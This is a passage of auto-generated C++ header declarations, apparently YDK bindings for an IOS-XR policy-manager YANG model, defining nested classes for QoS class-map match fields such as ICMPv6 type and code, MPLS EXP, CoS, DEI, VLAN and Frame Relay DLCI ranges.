PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Icmpv4Code::Uint8RngArray : public ydk::Entity { public: Uint8RngArray(); ~Uint8RngArray(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeaf min; //type: uint8 ydk::YLeaf max; //type: uint8 }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Icmpv4Code::Uint8RngArray class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Icmpv6Type : public ydk::Entity { public: Icmpv6Type(); ~Icmpv6Type(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; class Uint8RngArray; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Icmpv6Type::Uint8RngArray ydk::YList uint8_rng_array; }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Icmpv6Type class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Icmpv6Type::Uint8RngArray : public ydk::Entity { public: Uint8RngArray(); ~Uint8RngArray(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeaf min; //type: uint8 ydk::YLeaf max; //type: uint8 }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Icmpv6Type::Uint8RngArray class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Icmpv6Code : public ydk::Entity { public: Icmpv6Code(); ~Icmpv6Code(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; class Uint8RngArray; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Icmpv6Code::Uint8RngArray ydk::YList uint8_rng_array; }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Icmpv6Code class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Icmpv6Code::Uint8RngArray : public ydk::Entity { public: Uint8RngArray(); ~Uint8RngArray(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeaf min; //type: uint8 ydk::YLeaf max; //type: uint8 }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Icmpv6Code::Uint8RngArray class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::MplsExp : public ydk::Entity { public: MplsExp(); ~MplsExp(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeafList uint8_array; //type: list of uint8 }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::MplsExp class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::MplsExpImp : public ydk::Entity { public: MplsExpImp(); ~MplsExpImp(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeafList uint8_array; //type: list of uint8 }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::MplsExpImp class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::MplsDispIpv4Acl : public ydk::Entity { public: MplsDispIpv4Acl(); ~MplsDispIpv4Acl(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeafList string_array; //type: list of string }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::MplsDispIpv4Acl class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::MplsDispIpv6Acl : public ydk::Entity { public: MplsDispIpv6Acl(); ~MplsDispIpv6Acl(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeafList string_array; //type: list of string }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::MplsDispIpv6Acl class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::MplsTopLabel : public ydk::Entity { public: MplsTopLabel(); ~MplsTopLabel(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; class Uint32RngArray; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::MplsTopLabel::Uint32RngArray ydk::YList uint32_rng_array; }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::MplsTopLabel class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::MplsTopLabel::Uint32RngArray : public ydk::Entity { public: Uint32RngArray(); ~Uint32RngArray(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeaf min; //type: uint32 ydk::YLeaf max; //type: uint32 }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::MplsTopLabel::Uint32RngArray class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Cos : public ydk::Entity { public: Cos(); ~Cos(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeafList uint8_array; //type: list of uint8 }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Cos class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::CosInr : public ydk::Entity { public: CosInr(); ~CosInr(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeafList uint8_array; //type: list of uint8 }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::CosInr class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Dei : public ydk::Entity { public: Dei(); ~Dei(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeaf bit_value; //type: uint32 }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Dei class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::DeiInr : public ydk::Entity { public: DeiInr(); ~DeiInr(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeaf bit_value; //type: uint32 }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::DeiInr class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Vlan : public ydk::Entity { public: Vlan(); ~Vlan(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; class VlanIdArray; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Vlan::VlanIdArray ydk::YList vlan_id_array; }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Vlan class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Vlan::VlanIdArray : public ydk::Entity { public: VlanIdArray(); ~VlanIdArray(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeaf min; //type: uint16 ydk::YLeaf max; //type: uint16 ydk::YLeaf mask; //type: uint16 }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Vlan::VlanIdArray class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::VlanInr : public ydk::Entity { public: VlanInr(); ~VlanInr(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; class Uint16RngArray; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::VlanInr::Uint16RngArray ydk::YList uint16_rng_array; }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::VlanInr class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::VlanInr::Uint16RngArray : public ydk::Entity { public: Uint16RngArray(); ~Uint16RngArray(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeaf min; //type: uint16 ydk::YLeaf max; //type: uint16 }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::VlanInr::Uint16RngArray class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::FrDlci : public ydk::Entity { public: FrDlci(); ~FrDlci(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; class Uint16RngArray; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::FrDlci::Uint16RngArray ydk::YList uint16_rng_array; }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::FrDlci class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::FrDlci::Uint16RngArray : public ydk::Entity { public: Uint16RngArray(); ~Uint16RngArray(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeaf min; 